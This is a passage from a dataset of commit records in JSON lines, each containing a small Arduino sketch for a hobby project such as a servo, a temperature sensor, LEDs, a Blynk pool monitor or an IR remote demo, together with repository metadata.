ble.sendMessage(myGUI.asString());\n\n \/\/send the values to populate the GUI with the numerical values\n setButtonText(\"gainIndicator\", String(digital_gain_dB,1));\n setButtonText(\"cutoffHz\", String(cutoff_Hz,0));\n setButtonText(\"inpGain\",String(input_gain_dB,1));\n setButtonState(\"cpuStart\",printCPUtoGUI); \/\/illuminate the button if we will be sending the CPU value\n}\n\n\/\/define the GUI for the App\nvoid createTympanRemoteLayout(void) {\n \n \/\/ Create some temporary variables\n TR_Page *page_h; \/\/dummy handle for a page\n TR_Card *card_h; \/\/dummy handle for a card\n\n \/\/Add first page to GUI (the indentation doesn't matter; it is only to help us see it better)\n page_h = myGUI.addPage(\"Treble Boost Demo\");\n \n \/\/Add a card under the first page\n card_h = page_h->addCard(\"Highpass Gain (dB)\");\n \/\/Add a \"-\" digital gain button with the Label(\"-\"); Command(\"K\"); Internal ID (\"minusButton\"); and width (4)\n card_h->addButton(\"-\",\"K\",\"\", 4); \/\/displayed string, command, button ID, button width (out of 12)\n\n \/\/Add an indicator that's a button with no command: Label (value of the digital gain); Command (\"\"); Internal ID (\"gain indicator\"); width (4).\n card_h->addButton(\"\",\"\",\"gainIndicator\",4); \/\/displayed string (blank for now), command (blank), button ID, button width (out of 12)\n \n \/\/Add a \"+\" digital gain button with the Label(\"+\"); Command(\"K\"); Internal ID (\"minusButton\"); and width (4)\n card_h->addButton(\"+\",\"k\",\"\", 4); \/\/displayed string, command, button ID, button width (out of 12)\n\n \/\/Add another card to this page\n card_h = page_h->addCard(\"Highpass Cutoff (Hz)\");\n card_h->addButton(\"-\",\"T\",\"\", 4); \/\/displayed string, command, button ID, button width (out of 12)\n card_h->addButton(\"\", \"\", \"cutoffHz\",4); \/\/displayed string (blank for now), command (blank), button ID, button width (out of 12)\n card_h->addButton(\"+\",\"t\",\"\", 4); \/\/displayed string, command, button ID, button width (out of 12)\n\n\n \/\/Add a second page to the GUI\n page_h = myGUI.addPage(\"Globals\");\n\n \/\/Add an example card that just displays a value...no interactive elements\n card_h = page_h->addCard(String(\"Analog Input Gain (dB)\"));\n card_h->addButton(\"\", \"\", \"inpGain\", 12); \/\/label, command, id, width (out of 12)...THIS ISFULL WIDTH!\n\n \/\/Add an example card where one of the buttons will indicate \"on\" or \"off\"\n card_h = page_h->addCard(String(\"CPU Usage (%)\"));\n card_h->addButton(\"Start\", \"c\", \"cpuStart\", 4); \/\/label, command, id, width...we'll light this one up if we're showing CPU usage\n card_h->addButton(\"\" , \"\", \"cpuValue\", 4); \/\/label, command, id, width...this one will display the actual CPU value\n card_h->addButton(\"Stop\", \"C\", \"\", 4); \/\/label, command, id, width...this one will turn off the CPU display\n \n \/\/add some pre-defined pages to the GUI (pages that are built-into the App)\n myGUI.addPredefinedPage(\"serialMonitor\");\n \/\/myGUI.addPredefinedPage(\"serialPlotter\");\n}\n\n\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ functions used to respond to the commands\n\n\/\/change the gain from the App\nvoid changeGain(float change_in_gain_dB) {\n digital_gain_dB = digital_gain_dB + change_in_gain_dB;\n gain1.setGain_dB(digital_gain_dB); \/\/set the gain of the Left-channel gain processor\n gain2.setGain_dB(digital_gain_dB); \/\/set the gain of the Right-channel gain processor\n}\n\n\/\/Print gain levels \nvoid printGainLevels(void) {\n Serial.print(\"Analog Input Gain (dB) = \"); \n Serial.println(input_gain_dB); \/\/print text to Serial port for debugging\n Serial.print(\"Digital Gain (dB) = \"); \n Serial.println(digital_gain_dB); \/\/print text to Serial port for debugging\n}\n\n\/\/change the highpass cutoff frequency\nvoid incrementHighpassFilters(float scaleFactor) { setHighpassFilters_Hz(cutoff_Hz*scaleFactor); }\nfloat setHighpassFilters_Hz(float freq_Hz) {\n cutoff_Hz = min(max(freq_Hz,min_allowed_Hz),max_allowed_Hz); \/\/set the new value as the new state\n hp_filt1.setHighpass(0, cutoff_Hz); \/\/biquad IIR filter. left channel\n hp_filt2.setHighpass(0, cutoff_Hz); \/\/biquad IIR filter. right channel\n return cutoff_Hz;\n}\n\nvoid printHighpassCutoff(void) {\n Serial.println(\"Highpass filter cutoff at \" + String(cutoff_Hz,0) + \" Hz\");\n}\n\n\n\/\/ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ functions used to communicate back to the App\n\nvoid setButtonText(String btnId, String text) {\n String str = \"TEXT=BTN:\" + btnId + \":\"+text;\n Serial.println(str);\n ble.sendMessage(str);\n}\n\nvoid setButtonState(String btnId, bool newState) {\n String str = String(\"STATE=BTN:\") + btnId;\n if (newState) {\n str = str + String(\":1\");\n } else {\n str = str + String(\":0\");\n }\n ble.sendMessage(str);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/06-AppTutorial\/TrebleBoost_App\/TrebleBoost_App.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"12087ce3ac9fb0b1ed51cc0a4d628ef1aa8a0479","subject":"taylor","message":"taylor\n","repos":"turtle89431\/arduinoday,turtle89431\/arduinoday,turtle89431\/arduinoday","old_file":"taylor\/ContServoLeft.ino","new_file":"taylor\/ContServoLeft.ino","new_contents":"\/*\n Robotics with the BOE Shield \u2013 LeftServoClockwise\n Generate a servo full speed clockwise signal on digital pin 13.\n *\/\n\n#include <Servo.h> \/\/ Include servo library\n \nServo servoLeft; \/\/ Declare left servo\n\nvoid setup() \/\/ Built in initialization block\n{\n servoLeft.attach(6); \/\/ Attach left signal to pin 13\n servoLeft.writeMicroseconds(1300); \/\/ 1.3 ms full speed clockwise\n} \n \nvoid loop() \/\/ Main loop auto-repeats\n{ \/\/ Empty, nothing needs repeating\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'taylor\/ContServoLeft.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1635e2f75e72f1b0adfe9def0da9f4b2412d2762","subject":"Temperature sensor","message":"Temperature sensor\n","repos":"thmosqueiro\/PlaygroundINO","old_file":"TemperatureSensor_lm35dz\/lm35dz_Temp.ino","new_file":"TemperatureSensor_lm35dz\/lm35dz_Temp.ino","new_contents":"\/\/ Global variables\nint reading;\nint tempPin = 2;\nint ledPin_high = 2;\nint ledPin_low = 4;\n\n\n\/\/ Setting everything up\nvoid setup()\n{\n\/\/ Baud rate\n Serial.begin(9600);\n Serial.println('Starting...');\n \n\/\/ Setting digital led ports as outputs\n pinMode(ledPin_high, OUTPUT);\n pinMode(ledPin_low, OUTPUT);\n}\n\n\nvoid loop()\n{\n\/\/ Reading from the analog pin connected to the lm35dz\n reading = analogRead(tempPin);\n \n\/\/ Conversion to temperature\n float tCelsius = ( reading \/ 1024.0 )*500;\n float tFarh = ( tCelsius*9 )\/5 + 32;\n \n\/\/ This will light led red if bigger than 24 degrees\n\/\/ and green otherwise.\n if ( tCelsius <= 24. )\n {\n digitalWrite(ledPin_low, HIGH);\n digitalWrite(ledPin_high, LOW);\n }\n else\n {\n digitalWrite(ledPin_high, HIGH);\n digitalWrite(ledPin_low, LOW);\n }\n \n\/\/ Sending the temperature measurement throught serial port\n Serial.print(\"Temperature = \");\n Serial.print(tCelsius);\n Serial.print(\" (oC)\");\n Serial.println();\n \n \n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TemperatureSensor_lm35dz\/lm35dz_Temp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c5803a42a2ce13c25f38efea3166d35260cb1c56","subject":"Adding Arduino sketch","message":"Adding Arduino sketch\n","repos":"ricciardelli\/ArduinoSwing","old_file":"sketch\/switch_led.ino","new_file":"sketch\/switch_led.ino","new_contents":"int led_4 = 4;\nint led_5 = 5;\nint led_6 = 6;\nint led_7 = 7;\nint led_8 = 8;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(led_4, OUTPUT);\n pinMode(led_5, OUTPUT);\n pinMode(led_6, OUTPUT);\n pinMode(led_7, OUTPUT);\n pinMode(led_8, OUTPUT);\n Serial.println(\"Enter LED number: \");\n}\n\nvoid loop() {\n if (Serial.available() > 0) {\n \n int led = ((int) Serial.read()) - 48;\n \n switch(led) {\n case 0:\n turn_off();\n return;\n break;\n case 1:\n turn_on();\n return;\n break;\n }\n \n if (led < led_4 || led > led_8) {\n Serial.println(\"Error\");\n return;\n }\n \n Serial.println(\"Led signal: \" + String(led));\n \n switch_led(led);\n }\n \n}\n\n\/\/ Switches a LED depending on its current state.\nvoid switch_led(int led) {\n if (digitalRead(led) == LOW) {\n Serial.println(\"Turning on LED \" + String(led));\n digitalWrite(led, HIGH);\n } else {\n Serial.println(\"Turning off LED \" + String(led));\n digitalWrite(led, LOW);\n }\n}\n\n\/\/ Turn off all LEDs \nvoid turn_off() {\n for (int i = led_4; i <= led_8; i++) {\n digitalWrite(i, LOW);\n }\n Serial.println(\"Turning off all LEDs\");\n}\n\n\/\/ Turn on all LEDs\nvoid turn_on() {\n for (int i = led_4; i <= led_8; i++) {\n digitalWrite(i, HIGH);\n }\n Serial.println(\"Turning on all LEDs\");\n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch\/switch_led.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6946bdb30da05d7e4b5888639658cc6a3a1eda8a","subject":"Create pool_monitor.ino","message":"Create pool_monitor.ino","repos":"chancsc\/SC_SmartThings,chancsc\/SC_SmartThings","old_file":"esp8266\/pool_monitor.ino","new_file":"esp8266\/pool_monitor.ino","new_contents":"\/\/Project: Monitor water level (HC-SR04P) of Balacing tank and the Temperature of Water (DS18b20) \/ Ambient (DHT22) \n\/\/ Send alert via Blynk app if water level is too high, or water temperature is higher than 28 C\n\/\/ Device hang at the side of the tank\n\n\/*\n\/\/https:\/\/community.blynk.cc\/t\/water-tank-level-indicator-with-low-level-warning-notifications\/26271\n\n\/\/v1.0 - Wifi Manager + Blynk\n\/\/v1.1 - added deep sleep function - https:\/\/community.blynk.cc\/t\/esp-deep-sleep\/5622\/13\n\/\/v1.2 - added run time change of deep sleep interval via UI setup\n\/\/v1.3 - \n\n\/\/**** Blynk Virtual Pin Assignments****\n\/\/ V0 - Water temperature alert\n\/\/ V1 - Tank Height (cm)\n\/\/ V2 - Sensor distance from Tank (cm)\n\/\/ V3 - Temperature\n\/\/ V4 - Battery voltage\n\/\/ V6 - Numeric Widget - Sleep interval (mins)\n\/\/ V9 - Level V widget - Water Level %\n\/\/V10 - Numeric Widget - Level exceed then will trigger Alert\n\/\/V11 - Button Widget - To enable \/ disable Alert\n\/\/V12 - Distance - height from sensor to water level\n\nHardware: \n1. Wemos D1 Pro\n2. DS18B20 Temperature Sensor\n3. Ultra Sonic Sensor\n4. 4.7k resistor - put between D4 and VCC\n\n\nUltra sonic Sensor: Vcc - D7, Gnd - Gnd, Echo - D6, Trigger - D5\nDS18820 - Vcc - D8, Gnd - Gnd, Data - D4\n\nTodo\n----\n- if sonar sensor out of range --> don't save but Alert\n- water temperature alert\n\n*\/\n\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleEsp8266.h>\n\nchar auth[] = \"<replace with yr blynk token>\";\n\nchar ssid[] = \"wifi name\";\nchar pass[] = \"wifi pwd\";\n\nBlynkTimer timer;\n\n\/\/HC-SR04 ultra sonic sensor\n#define trigPin D5 \/\/ Trigger Pin\n#define echoPin D6 \/\/ Echo Pin\n#define RadarPowerPin D7 \/\/GPIO12 = D6, GPIO14 = D5, GPIO15 = D8\n\n\/\/DS18820 temperature sensor\n#define sensorPin D4\n#define TempPowerPin D8\n\n#define filterSamples 15 \/\/ filterSamples should be an odd number, no smaller than 3\n\nint alertLevelCounter = 0; \/\/Counter starts at zero\n\/\/int volume1; \/\/ for smoothing algorithum\ndouble wLevel; \/\/ for smoothing algorithum\nint levelAlert;\nint wateralert = 0;\n\/\/int sensSmoothArray1 [filterSamples]; \/\/ array for holding raw sensor values for sensor1 \nint smoothDistance; \/\/ variables for sensor1 data\n\n\/\/double alertInMin = 0.5; \/\/Alert time following alert water level being reached (0.5 = 30secs)\n\/\/const int alertDuration = 2; \/\/Alert sent every 2 minutes\n\nint checkFreq = 2; \/\/how often run the check \/ sleep for how long before wake up, in mins\nint tankHeight = 100; \/\/tank's height\nint heightFrTank = 20; \/\/sensor distance from tank\nlong duration, distance; \/\/ Duration used to calculate distance\n\n\/\/init DS11820\nOneWire oneWire(sensorPin);\nDallasTemperature DS18B20(&oneWire);\nfloat temp;\nfloat volt;\n\nBLYNK_CONNECTED() { \/\/ runs once at device startup, once connected to server.\n Blynk.syncVirtual(V1);\n Blynk.syncVirtual(V2);\n Blynk.syncVirtual(V6);\n Blynk.syncVirtual(V10);\n Blynk.syncVirtual(V11);\n}\n\nBLYNK_WRITE(V1) {\n tankHeight = param.asInt();\n Serial.print(\"\\nTank's Height: \");\n Serial.println(tankHeight);\n Serial.println();\n} \n\nBLYNK_WRITE(V2) {\n heightFrTank = param.asInt();\n Serial.print(\"Height from Tank: \");\n Serial.println(heightFrTank);\n Serial.println();\n} \n\nBLYNK_WRITE(V6) {\n checkFreq = param.asInt();\n Serial.print(\"Sleep Interval: \");\n Serial.println(checkFreq);\n Serial.println();\n} \n\nBLYNK_WRITE(V10) {\n levelAlert = param.asInt();\n Serial.print(\"Water Level Alert: \");\n Serial.println(levelAlert);\n Serial.println();\n} \n \nBLYNK_WRITE(V11) { \n\n int alertOff = param.asInt();\n\n if(alertOff == 0) {\n resetWaterLevelAlert();\n wateralert = 1;\n Serial.print(\"Level Alert is OFF.\");\n Serial.println();\n }\n else {\n resetWaterLevelAlert();\n wateralert = 0;\n Serial.print(\"Level Alert is ON.\");\n Serial.println();\n }\n\n}\n\nvoid resetWaterLevelAlert() {\n alertLevelCounter = 0;\n wateralert = 0;\n}\n\nvoid checkWaterLevel() {\n Serial.print(\"Water Level (%) = \");\n Serial.println(wLevel);\n Serial.print(\"Level Alert (%) = \");\n Serial.println(levelAlert);\n Serial.print(\"Alert (1 = off, 0 = on) = \");\n Serial.println(wateralert);\n\n if(wLevel > levelAlert && wateralert == 0){\n\/\/ alertLevelCounter += 1;\n Blynk.notify(\"Water Tank Level Alert\"); \/\/ send push notification to blynk app\n\n }\n\n\/\/ if(alertLevelCounter > alertInMin * 60 && wateralert == 0){\n\/\/ Blynk.notify(\"Water Tank Level Alert\"); \/\/ send push notification to blynk app\n\/\/ wateralert = 1;\n\/\/ resetWaterLevelAlert();\n\/\/ }\n}\n\nvoid MeasureCmForSmoothing() {\n\n \/\/take multiple reading\n\n digitalWrite(RadarPowerPin, HIGH); \/\/provide power\n delay(1000);\n \n smoothDistance = mesureDistance();\n \n digitalWrite(RadarPowerPin, LOW); \/\/turn off power\n delay(100);\n \n Serial.print(\"Smoothed Distance: \");\n Serial.println(smoothDistance);\n\n \/\/tank height 100 cm, sensor is 20 cm above the tank\n wLevel = (tankHeight + heightFrTank - smoothDistance);\n\n Serial.print(\"Water Level (cm): \");\n Serial.println(wLevel);\n\n \/\/convert to %\n wLevel = wLevel \/ tankHeight * 100;\n\n Serial.print(\"Water Level (%): \");\n Serial.println(wLevel);\n\n Blynk.virtualWrite(V12, smoothDistance); \/\/ virtual pin\n Blynk.virtualWrite(V9, wLevel); \/\/ virtual pin\n delay(1000);\n} \n\nvoid UploadMeasureCmForSmoothing() {\n\n Blynk.virtualWrite(V3, temp); \/\/ Water level %\n Blynk.virtualWrite(V4, volt); \/\/ battery \n Blynk.virtualWrite(V9, wLevel); \/\/ Water level %\n Blynk.virtualWrite(V12, smoothDistance); \/\/ virtual pin\n \n}\n\n\nvoid setup() {\n Serial.begin(115200);\n Blynk.begin(auth, ssid, pass);\n \n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n \/\/pin to provide power to ultra sonic sensor\n pinMode(RadarPowerPin, OUTPUT);\n\n \/\/pin to provide power to temperature sensor\n pinMode(TempPowerPin, OUTPUT);\n \n Serial.println(\"Measure Water Temperature\");\n measurementEvent();\n\n Serial.println(\"\\nMeasure Water Level\");\n MeasureCmForSmoothing();\n\n Serial.println(\"Upload Data\");\n UploadMeasureCmForSmoothing();\n\n Serial.println(\"check WaterLevel Alert\");\n checkWaterLevel();\n\n goToSleep();\n\n}\n \nvoid loop() {\n\n}\n\nint digitalSmooth(int rawIn, int *sensSmoothArray){ \/\/ \"int *sensSmoothArray\" passes an array to the function - the asterisk indicates the array name is a pointer\nint j, k, temp, top, bottom;\nlong total;\nstatic int i;\n\/\/ static int raw[filterSamples];\nstatic int sorted[filterSamples];\nboolean done;\n\ni = (i + 1) % filterSamples; \/\/ increment counter and roll over if necc. - % (modulo operator) rolls over variable\nsensSmoothArray[i] = rawIn; \/\/ input new data into the oldest slot\n\n\/\/ Serial.print(\"raw = \");\n\n for (j=0; j<filterSamples; j++){ \/\/ transfer data array into anther array for sorting and averaging\n sorted[j] = sensSmoothArray[j];\n }\n\n done = 0; \/\/ flag to know when we're done sorting \n while(done != 1){ \/\/ simple swap sort, sorts numbers from lowest to highest\n done = 1;\n for(j = 0; j < (filterSamples - 1); j++){\n if(sorted[j] > sorted[j + 1]){ \/\/ numbers are out of order - swap\n temp = sorted[j + 1];\n sorted [j+1] = sorted[j] ;\n sorted [j] = temp;\n done = 0;\n }\n }\n }\n\n \/\/ throw out top and bottom 15% of samples - limit to throw out at least one from top and bottom\n \/\/ bottom = max(((filterSamples * 15) \/ 100), 1); \n \/\/ top = min((((filterSamples * 85) \/ 100) + 1 ), (filterSamples - 1)); \/\/ the + 1 is to make up for asymmetry caused by integer rounding\n bottom = max(((filterSamples * 20) \/ 100), 1); \n top = min((((filterSamples * 80) \/ 100) + 1 ), (filterSamples - 1)); \/\/ the + 1 is to make up for asymmetry caused by integer rounding\n k = 0;\n total = 0;\n for( j = bottom; j< top; j++){\n total += sorted[j]; \/\/ total remaining indices\n k++; \n \/\/Serial.print(sorted[j]); \n \/\/Serial.print(\" \"); \n \/\/terminal.print(sorted[j]); \n \/\/terminal.println(\" \");\n \n }\n \/\/terminal.print(\"average: \");\n \/\/terminal.println(total\/k);\n \/\/terminal.flush();\n \/\/Serial.println();\n \/\/Serial.print(\"average = \");\n \/\/Serial.println(total\/k);\n return total \/ k; \/\/ divide by number of samples\n}\n\nint mesureSingleDistance() {\n long duration, distance;\n\n digitalWrite(trigPin, LOW);\n delayMicroseconds(2);\n digitalWrite(trigPin, HIGH);\n delayMicroseconds(10);\n digitalWrite(trigPin, LOW);\n duration = pulseIn(echoPin, HIGH);\n distance = (duration\/2) \/ 29.1;\n\n Serial.print(\"Distance: \");\n Serial.println(distance);\n\n return distance;\n }\n\n\/**\n * mresure distnce average delay 10ms\n *\/\nint mesureDistance() {\n const int ULTRASONIC_MIN_DISTANCE = heightFrTank; \/\/20\n const int ULTRASONIC_MAX_DISTANCE = tankHeight + heightFrTank; \/\/120\n\n int i, total_count = 0, total_distance = 0, distance, values[10], average, temp, new_count = 0;\n\n for(i=0; i<5; i++){\n distance = mesureSingleDistance();\n \/\/check if out of range\n if(distance > ULTRASONIC_MIN_DISTANCE && distance < ULTRASONIC_MAX_DISTANCE) {\n total_distance += distance;\n values[total_count++]=distance;\n Serial.printf(\"Value %d...\\n\", distance);\n }\n }\n\n Serial.print(\"total_count = \");\n Serial.println(total_count);\n if(total_count > 0) {\n\n average = total_distance \/ total_count;\n total_distance = 0;\n Serial.printf(\"Average %d...\\n\", average);\n\n for(i=0; i<total_count; i++){\n temp = (average - values[i])*100\/average;\n Serial.printf(\"Analyze %d....%d...\\n\", values[i],temp);\n if(temp < 10 && temp > -10){\n total_distance += values[i];\n new_count++;\n }\n }\n\n if(new_count > 0) {\n\/\/ Serial.print(\"total_distance = \");\n\/\/ Serial.println(total_distance);\n\/\/ Serial.print(\"new_count = \");\n\/\/ Serial.println(new_count);\n return total_distance \/ new_count;\n }\n }\n Serial.println(\"Sonar sensor out of range\");\n return 0; \/\/return 0 meaning the sensor out of range\n }\n\nvoid goToSleep() {\n \/\/ calculate required sleep time and go to sleep\n\n Serial.print(\" Going to sleep now for \");\n Serial.print(checkFreq);\n Serial.println(\" mins\");\n\n ESP.deepSleep(checkFreq * 60 * 1000000); \/\/deepSleep is microseconds 1 sec = 1000000\n delay(100);\n\n} \/\/ end of void goToSleep()\n\nvoid measurementEvent() {\n\n\n \/\/******Measure Water Temperature*********************************************\n digitalWrite(TempPowerPin, HIGH); \/\/provide power\n delay(2000);\n \n DS18B20.begin();\n DS18B20.requestTemperatures(); \n temp = DS18B20.getTempCByIndex(0); \/\/ Celcius\n Serial.print(\"Temperature (C) = \");\n Serial.println(temp);\n\n digitalWrite(TempPowerPin, LOW); \/\/turn off power\n delay(100);\n\n \/\/******Battery Voltage Monitoring*********************************************\n \/\/depend on 220k or 100k resistor used, toggle between this 2 calculation\n\n \/\/ using 220k\n \/\/ Voltage divider R1=100k, R2 = (220k + 100k) + 220k = 540k\n \/\/ Calculation to get the factor: 4.2v * 100\/540 = 0.7777, 0.7777 * y = 4.2, y = 5.4\n\/\/ float calib_factor = 5.28; \/\/ change this value to calibrate the battery voltage, 5.28 is so call calibrated\n\/\/ float calib_factor = 5.4;\n\n \/\/ using 100k\n \/\/ Voltage divider R1 = 100k, R2 = (220k + 100k) + 100k = 420k; \n \/\/ Calculation to get the factor: 4.2v * 100\/420 = 1, 1 * y = 4.2, y = 4.2\n float calib_factor = 4.2;\n \n unsigned long raw = analogRead(A0);\n\/\/ Serial.print(\"raw analog = \");\n\/\/ Serial.println(raw);\n float volt = raw * calib_factor\/1024; \n \n Serial.print( \"\\nVoltage = \");\n Serial.print(volt, 2); \/\/ print with 2 decimal places\n Serial.println (\" V\");\n \n \/\/*******************************************************************************\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266\/pool_monitor.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e09daf06630b61c6dabf9f605b217fe557dc46fa","subject":"Update pt_remote controlled car2.ino","message":"Update pt_remote controlled car2.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_file":"pt_remote controlled car\/pt_remote controlled car2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d660b1de67dc52107a4eca2986fcc83936fdfc87","subject":"Create spark-plotly.ino","message":"Create spark-plotly.ino","repos":"jdecked\/spark-plotly,bigmacd\/spark-plotly","old_file":"example\/spark-plotly.ino","new_file":"example\/spark-plotly.ino","new_contents":"#include \"spark-plotly.h\"\n\n#define DATA_POINTS 4\n\nchar* data_point_tokens[NUM_TOKENS] = {\"token1\", \"token2\", \"token3\",\"token4\"};\nplotly graph = plotly(\"username\", \"secret\", streaming_tokens, \"streamname\", DATA_POINTS);\n\nvoid setup() {\n graph.init();\n graph.fileopt = \"extend\";\n graph.openStream(); \n}\n\nvoid loop() {\n\n float val1;\n float val2;\n float val3;\n float val4;\n \n \/\/ up to you to decide what these values represent and how they get initialized\/updated.\n\n unsigned long x = millis();\n\n graph.plot(x, val1, data_point_tokens[0]);\n graph.plot(x, val2, data_point_tokens[1]);\n graph.plot(x, val3, data_point_tokens[2]);\n graph.plot(x, val4, data_point_tokens[3]);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'example\/spark-plotly.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6b6ac180a03ca39037f9eeb0956e548304f545f3","subject":"initial commit","message":"initial commit\n","repos":"00steve\/TUI,00steve\/TUI","old_file":"TUI.ino","new_file":"TUI.ino","new_contents":"double x = 0;\ndouble y = 0;\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n setPinMode(11,HIGH);\n setPinMode(12,HIGH);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \n x = analogRead(A12);\n y = analogRead(A13);\n\n Serial.print(x);\n Serial.print(\" \");\n Serial.println(y);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'TUI.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0abc9f090879595c43cba27e454b4859894d3cf1","subject":"Create IRsendRawDemo.ino","message":"Create IRsendRawDemo.ino\n\nNew example should go into new fordel of same name...sorry","repos":"liamog\/Arduino-IRremote,hafo821\/Arduino-IRremote,PaoloP74\/Arduino-IRremote,bessl\/Arduino-IRremote,z3t0\/Arduino-IRremote,shwongsoohar\/Arduino-IRremote,cedar-renjun\/Arduino-IRremote,blevien\/Arduino-IRremote,hafo821\/Arduino-IRremote,danz0\/Arduino-IRremote,MadGarra\/Arduino-IRremote,r2jitu\/Arduino-IRremote,swkyer\/Arduino-IRremote,AnalysIR\/Arduino-IRremote,shirriff\/Arduino-IRremote,pcoughlin\/Arduino-IRremote,shirriff\/Arduino-IRremote,z3t0\/Arduino-IRremote,bessl\/Arduino-IRremote,MadGarra\/Arduino-IRremote,r2jitu\/Arduino-IRremote,ivankravets\/Arduino-IRremote,audetto\/Arduino-IRremote,Seeed-Studio\/IRSendRev,audetto\/Arduino-IRremote,PaoloP74\/Arduino-IRremote,Seeed-Studio\/IRSendRev,YodaR10\/Arduino-IRremote,liamog\/Arduino-IRremote,swkyer\/Arduino-IRremote,YodaR10\/Arduino-IRremote,shwongsoohar\/Arduino-IRremote,ivankravets\/Arduino-IRremote,AnalysIR\/Arduino-IRremote,blevien\/Arduino-IRremote,Informatic\/Arduino-IRremote,Informatic\/Arduino-IRremote,cedar-renjun\/Arduino-IRremote,danz0\/Arduino-IRremote,pcoughlin\/Arduino-IRremote","old_file":"examples\/IRsendRawDemo\/IRsendRawDemo.ino","new_file":"examples\/IRsendRawDemo\/IRsendRawDemo.ino","new_contents":"\/*\n * IRremote: IRsendRawDemo - demonstrates sending IR codes with sendRaw\n * An IR LED must be connected to Arduino PWM pin 3.\n * Version 0.1 July, 2009\n * Copyright 2009 Ken Shirriff\n * http:\/\/arcfn.com\n *\n * IRsendRawDemo - added by AnalysIR (via www.AnalysIR.com), 24 August 2015\n *\n * This example shows how to send a RAW signal using the IRremote library.\n * The example signal is actually a 32 bit NEC signal.\n * Remote Control button: LGTV Power On\/Off. \n * Hex Value: 0x20DF10EF, 32 bits\n * \n * It is more efficient to use the sendNEC function to send NEC signals. \n * Use of sendRaw here, serves only as an example of using the function.\n * \n *\/\n\n\n#include <IRremote.h>\n\nIRsend irsend;\n\nvoid setup()\n{\n\n}\n\nvoid loop() {\n int khz = 38; \/\/ 38kHz carrier frequency for the NEC protocol\n unsigned int irSignal[] = {9000, 4500, 560, 560, 560, 560, 560, 1690, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 560, 1690, 560, 1690, 560, 560, 560, 1690, 560, 1690, 560, 1690, 560, 1690, 560, 1690, 560, 560, 560, 560, 560, 560, 560, 1690, 560, 560, 560, 560, 560, 560, 560, 560, 560, 1690, 560, 1690, 560, 1690, 560, 560, 560, 1690, 560, 1690, 560, 1690, 560, 1690, 560, 39416, 9000, 2210, 560}; \/\/AnalysIR Batch Export (IRremote) - RAW\n \n irsend.sendRaw(irSignal, sizeof(irSignal) \/ sizeof(irSignal[0]), khz); \/\/Note the approach used to automatically calculate the size of the array.\n\n delay(5000); \/\/In this example, the signal will be repeated every 5 seconds, approximately.\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/IRsendRawDemo\/IRsendRawDemo.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"e944565ecc916f0a5d091afc1864afba9c0134e8","subject":"add dplay firmware","message":"add dplay firmware","repos":"entrylabs\/entry-hw,SungminSeung\/entry-hw,kjsii123\/entry-hw,SungminSeung\/entry-hw,entrylabs\/entry-hw,SungminSeung\/entry-hw,songhagwon\/entry-hw,kjsii123\/entry-hw,songhagwon\/entry-hw,kjsii123\/entry-hw,kjsii123\/entry-hw,SungminSeung\/entry-hw,songhagwon\/entry-hw,entrylabs\/entry-hw,entrylabs\/entry-hw,entrylabs\/entry-hw,songhagwon\/entry-hw,entrylabs\/entry-hw,songhagwon\/entry-hw","old_file":"firmware\/dplay\/dplay.ino","new_file":"firmware\/dplay\/dplay.ino","new_contents":"char remainData;\n\nvoid setup(){\n Serial.begin(115200);\n Serial.flush();\n initPorts();\n}\n\nvoid initPorts () {\n for (int pinNumber = 0; pinNumber < 14; pinNumber++) {\n pinMode(pinNumber, OUTPUT);\n digitalWrite(pinNumber, LOW);\n }\n}\n\nvoid loop() {\n while (Serial.available()) {\n if (Serial.available() > 0) {\n char c = Serial.read();\n updateDigitalPort(c);\n }\n } \n delay(15);\n sendPinValues();\n delay(10);\n}\n\nvoid sendPinValues() {\n int pinNumber = 0;\n for (pinNumber = 0; pinNumber < 14; pinNumber++) {\n sendDigitalValue(pinNumber);\n }\n for (pinNumber = 0; pinNumber < 6; pinNumber++) {\n sendAnalogValue(pinNumber);\n }\n \n}\n\nvoid updateDigitalPort (char c) {\n \/\/ first data\n if (c>>7) {\n \/\/ is output\n if ((c>>6) & 1) {\n \/\/ is data end at this chunk\n if ((c>>5) & 1) {\n int port = (c >> 1) & B1111;\n setPortWritable(port);\n if (c & 1)\n digitalWrite(port, HIGH);\n else\n digitalWrite(port, LOW);\n }\n else {\n remainData = c;\n }\n } else {\n int port = (c >> 1) & B1111;\n setPortReadable(port);\n }\n } else {\n int port = (remainData 